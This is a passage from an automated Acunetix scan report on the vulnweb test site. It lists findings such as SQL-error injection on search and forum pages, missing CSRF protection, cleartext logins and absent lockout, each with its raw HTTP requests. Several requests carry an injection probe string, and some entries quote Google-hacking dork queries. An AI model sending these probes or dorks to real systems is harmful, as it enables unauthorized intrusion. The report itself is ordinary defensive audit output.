Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfEmail=sample%40email.tst&tfRName=dnrmptfb&tfUName=dnrmptfb&tfUPass=a2NiUkdLNGUwb0pkdHV
MSQ%3d%3d
```

/search.asp

Details

URL encoded GET input tfSearch was set to 12345'"\'\");|]*{%0d%0a<%00>%bf%27'
Error message found: Internal Server Error

Request headers

```
GET /search.asp?tfSearch=12345'"\'\");|]*{%0d%0a<%00>%bf%27' HTTP/1.1
Referer: http://testasp.vulnweb.com:80/
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/showforum.asp

Details

URL encoded GET input id was set to 12345'"\'\");|]*{%0d%0a<%00>%bf%27'
Error message found: Incorrect syntax near

Request headers

```
GET /showforum.asp?id=12345'"\'\");|]*{%0d%0a<%00>%bf%27' HTTP/1.1
Referer: http://testasp.vulnweb.com:80/
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
```

```
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/showthread.asp

Details

URL encoded GET input id was set to 12345'"\'\");|]*{%0d%0a<%00>%bf%27'
Error message found: Incorrect syntax near

Request headers

```
GET /showthread.asp?id=12345'"\'\");|]*{%0d%0a<%00>%bf%27' HTTP/1.1
Referer: http://testasp.vulnweb.com:80/
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

HTML form without CSRF protection

Severity	**Medium**
Type	Informational
Reported by module	Crawler

Description

This alert may be a false positive, manual confirmation is required.
Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts.

Acunetix WVS found a HTML form with no apparent CSRF protection implemented. Consult details for more information about the affected HTML form.

Impact

An attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

Recommendation

Check if this form requires CSRF protection and implement CSRF countermeasures if necessary.

Affected items

/login.asp

Details

Form name: <empty>
Form action: http://testasp.vulnweb.com/login.asp
Form method: POST

Form inputs:

- tfUName [Text]
- tfUPass [Password]

Request headers

```
GET /login.asp HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/register.asp

Details

Form name: frmRegister
Form action: http://testasp.vulnweb.com/register.asp
Form method: POST

Form inputs:

- tfUName [Text]
- tfRName [Text]
- tfEmail [Text]
- tfUPass [Password]

Request headers

```
GET /register.asp HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/search.asp

Details

Form name: frmSearch
Form action: http://testasp.vulnweb.com/search.asp
Form method: GET

Form inputs:

- tfSearch [Text]

Request headers

```
GET /search.asp HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

User credentials are sent in clear text

Severity	**Medium**
Type	Informational
Reported by module	Crawler

Description

User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.

Impact

A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection.

Recommendation

Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).

Affected items

/login.asp

Details

Form name: <empty>
Form action: http://testasp.vulnweb.com/login.asp
Form method: POST

Form inputs:

- tfUName [Text]
- tfUPass [Password]

Request headers

```
GET /login.asp HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/register.asp

Details

Form name: frmRegister
Form action: http://testasp.vulnweb.com/register.asp
Form method: POST

Form inputs:

- tfUName [Text]
- tfRName [Text]
- tfEmail [Text]
- tfUPass [Password]

Request headers

```
GET /register.asp HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Clickjacking: X-Frame-Options header missing

Severity	**Low**
Type	Configuration
Reported by module	Scripting (Clickjacking_X_Frame_Options.script)

Description

Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

The server didn't return an X-Frame-Options header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame> or <iframe>. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.

Impact

The impact depends on the affected web application.

Recommendation

Configure your web server to include an X-Frame-Options header. Consult Web references for more information about the possible values for this header.

References

Clickjacking
Original Clickjacking paper
The X-Frame-Options response header

Affected items

Web Server
Details
No details are available.
Request headers

```
GET / HTTP/1.1
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Login page password-guessing attack

Severity	**Low**
Type	Validation
Reported by module	Scripting (Html_Authentication_Audit.script)

Description

A common threat web developers face is a password-guessing attack known as a brute force attack. A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works.

This login page doesn't have any protection against password-guessing attacks (brute force attacks). It's recommended to implement some type of account lockout after a defined number of incorrect password attempts. Consult Web references for more information about fixing this problem.

Impact

An attacker may attempt to discover a weak password by systematically trying every possible combination of letters, numbers, and symbols until it discovers the one correct combination that works.

Recommendation

It's recommended to implement some type of account lockout after a defined number of incorrect password attempts.

References

Blocking Brute Force Attacks

Affected items

/login.asp

Details

The scanner tested 10 invalid credentials and no account lockout was detected.

Request headers

```
POST /login.asp HTTP/1.1
Content-Length: 33
Content-Type: application/x-www-form-urlencoded
Referer: http://testasp.vulnweb.com:80/
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfUName=a81C9SJ2&tfUPass=oMHh9Vcm
```

/register.asp

Details

The scanner tested 10 invalid credentials and no account lockout was detected.

Request headers

```
POST /register.asp HTTP/1.1
Content-Length: 89
Content-Type: application/x-www-form-urlencoded
Referer: http://testasp.vulnweb.com:80/
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfEmail=9ar3oAZz%40testasp.vulnweb.com&tfRName=lcqeypqd&tfUName=mwbbdcco&tfUPass=Gs0Y9gR
m
```

OPTIONS method is enabled

Severity	**Low**
Type	Validation
Reported by module	Scripting (Options_Server_Method.script)

Description

HTTP OPTIONS method is enabled on this web server. The OPTIONS method provides a list of the methods that are supported by the web server, it represents a request for information about the communication options available on the request/response chain identified by the Request-URI.

Impact

The OPTIONS method may expose sensitive information that may help an malicious user to prepare more advanced attacks.

Recommendation

It's recommended to disable OPTIONS Method on the web server.

References

Testing for HTTP Methods and XST (OWASP-CM-008)

Affected items

Web Server

Details

Methods allowed: OPTIONS, TRACE, GET, HEAD

Request headers

```
OPTIONS / HTTP/1.1
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Session Cookie without HttpOnly flag set

Severity	**Low**
Type	Informational
Reported by module	Crawler

Description

This cookie does not have the HTTPOnly flag set. When a cookie is set with the HTTPOnly flag, it instructs the browser that the cookie can only be accessed by the server and not by client-side scripts. This is an important security protection for session cookies.

Impact

None

Recommendation

If possible, you should set the HTTPOnly flag for this cookie.

Affected items

/

Details

Cookie name: "ASPSESSIONIDCCSQDADD"
Cookie domain: "testasp.vulnweb.com"

Request headers

```
GET / HTTP/1.1
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Session Cookie without Secure flag set

Severity	**Low**
Type	Informational
Reported by module	Crawler

Description

This cookie does not have the Secure flag set. When a cookie is set with the Secure flag, it instructs the browser that the cookie can only be accessed over secure SSL channels. This is an important security protection for session cookies.

Impact

None

Recommendation

If possible, you should set the Secure flag for this cookie.

Affected items

/

Details

Cookie name: "ASPSESSIONIDCCSQDADD"
Cookie domain: "testasp.vulnweb.com"

Request headers

```
GET / HTTP/1.1
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Broken links

Severity	**Informational**
Type	Informational
Reported by module	Crawler

Description

A broken link refers to any link that should take you to a document, image or webpage, that actually results in an error. This page was linked from the website but it is inaccessible.

Impact

Problems navigating the site.

Recommendation

Remove the links to this file or make it accessible.

Affected items

/templates/login.asp (3ce8101217eca94cbcb43f854b61453c)

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /templates/login.asp?RetURL=/templates/maintemplate.dwt.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/templates/maintemplate.dwt.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/templates/register.asp (3ce8101217eca94cbcb43f854b61453c)

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /templates/register.asp?RetURL=/templates/maintemplate.dwt.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/templates/maintemplate.dwt.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

GHDB: IIS 4.0 server

Severity	**Informational**
Type	Informational
Reported by module	GHDB

Description

The description for this alert is contributed by the GHDB community, it may contain inappropriate language.
Category : Error Messages

IIS 4.0 servers. Extrememly old, incredibly easy to hack...

The Google Hacking Database (GHDB) appears courtesy of the Google Hacking community.

Impact

Not available. Check description.

Recommendation

Not available. Check description.

References

The Google Hacking Database (GHDB) community
Acunetix Google hacking

Affected items

/templates/login.asp

Details

We found intitle:"the page cannot be found" inetmgr

Request headers

```
GET /templates/login.asp HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/templates/maintemplate.dwt.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/templates/login.asp (3ce8101217eca94cbcb43f854b61453c)

Details

We found intitle:"the page cannot be found" inetmgr

Request headers

```
GET /templates/login.asp?RetURL=/templates/maintemplate.dwt.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/templates/maintemplate.dwt.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/templates/register.asp

Details

We found intitle:"the page cannot be found" inetmgr

Request headers

```
GET /templates/register.asp HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/templates/maintemplate.dwt.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/templates/register.asp (3ce8101217eca94cbcb43f854b61453c)

Details

We found intitle:"the page cannot be found" inetmgr

Request headers

```
GET /templates/register.asp?RetURL=/templates/maintemplate.dwt.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/templates/maintemplate.dwt.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

GHDB: IIS server

Severity	**Informational**
Type	Informational
Reported by module	GHDB

Description

The description for this alert is contributed by the GHDB community, it may contain inappropriate language.
Category : Error Messages

This query finds various types of IIS servers. This error message is fairly indicative of a somewhat unmodified IIS server, meaning it may be easier to break into...

The Google Hacking Database (GHDB) appears courtesy of the Google Hacking community.

Impact

Not available. Check description.

Recommendation

Not available. Check description.

References

The Google Hacking Database (GHDB) community
Acunetix Google hacking

Affected items

/templates/login.asp

Details

We found intitle:"the page cannot be found" "internet information services"

Request headers

```
GET /templates/login.asp HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/templates/maintemplate.dwt.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/templates/login.asp (3ce8101217eca94cbcb43f854b61453c)

Details

We found intitle:"the page cannot be found" "internet information services"

Request headers

```
GET /templates/login.asp?RetURL=/templates/maintemplate.dwt.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/templates/maintemplate.dwt.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/templates/register.asp

Details

We found intitle:"the page cannot be found" "internet information services"

Request headers

```
GET /templates/register.asp HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/templates/maintemplate.dwt.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/templates/register.asp (3ce8101217eca94cbcb43f854b61453c)

Details

We found intitle:"the page cannot be found" "internet information services"

Request headers

```
GET /templates/register.asp?RetURL=/templates/maintemplate.dwt.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/templates/maintemplate.dwt.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

GHDB: Typical login page

Severity	**Informational**
Type	Informational
Reported by module	GHDB

Description

The description for this alert is contributed by the GHDB community, it may contain inappropriate language.
Category : Pages containing login portals

This is a typical login page. It has recently become a target for SQL injection. Comsec's article at http://www.governmentsecurity.org/articles/SQLinjectionBasicTutorial.php brought this to my attention.

The Google Hacking Database (GHDB) appears courtesy of the Google Hacking community.

Impact

Not available. Check description.

Recommendation

Not available. Check description.

References

The Google Hacking Database (GHDB) community
Acunetix Google hacking

Affected items

/login.asp

Details

We found inurl:login.asp

Request headers

```
GET /login.asp HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/login.asp (08ba5c65850c46f4a43a7941b10720df)

Details

We found inurl:login.asp

Request headers

```
GET /login.asp?RetURL=/search.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/search.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/login.asp (446ae5fc92a14ee54cb5b0057775413e)

Details

We found inurl:login.asp

Request headers

```
GET /login.asp?RetURL=/Default.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/login.asp (4a2bd4f3319ad019841cd21ad19faa03)

Details

We found inurl:login.asp

Request headers

```
GET /login.asp?RetURL=/templatize.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/templatize.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/login.asp (b0f123cb8b6b7f7ce196de1e7765c392)

Details

We found inurl:login.asp

Request headers

```
POST /login.asp HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/login.asp
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfUName=ypqtxqdo&tfUPass=g00dPa%24%24w0rD
```

/templates/login.asp

Details

We found inurl:login.asp

Request headers

```
GET /templates/login.asp HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/templates/maintemplate.dwt.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/templates/login.asp (3ce8101217eca94cbcb43f854b61453c)

Details

We found inurl:login.asp

Request headers

```
GET /templates/login.asp?RetURL=/templates/maintemplate.dwt.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/templates/maintemplate.dwt.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Password type input with auto-complete enabled

Severity	**Informational**
Type	Informational
Reported by module	Crawler

Description

When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved. Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache.

Impact

Possible sensitive information disclosure

Recommendation

The password auto-complete should be disabled in sensitive applications.
To disable auto-complete, you may use a code similar to:
<INPUT TYPE="password" AUTOCOMPLETE="off">

Affected items

/login.asp

Details

Password type input named tfUPass from unnamed form with action login.asp has autocomplete enabled.

Request headers

```
GET /login.asp HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/login.asp (08ba5c65850c46f4a43a7941b10720df)

Details

Password type input named tfUPass from unnamed form with action 08ba5c65850c46f4a43a7941b10720df has autocomplete enabled.

Request headers

```
GET /login.asp?RetURL=/search.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/search.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
```

```
Accept: */*
```

/login.asp (446ae5fc92a14ee54cb5b0057775413e)

Details

Password type input named tfUPass from unnamed form with action 446ae5fc92a14ee54cb5b0057775413e has autocomplete enabled.

Request headers

```
GET /login.asp?RetURL=/Default.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/login.asp (4a2bd4f3319ad019841cd21ad19faa03)

Details

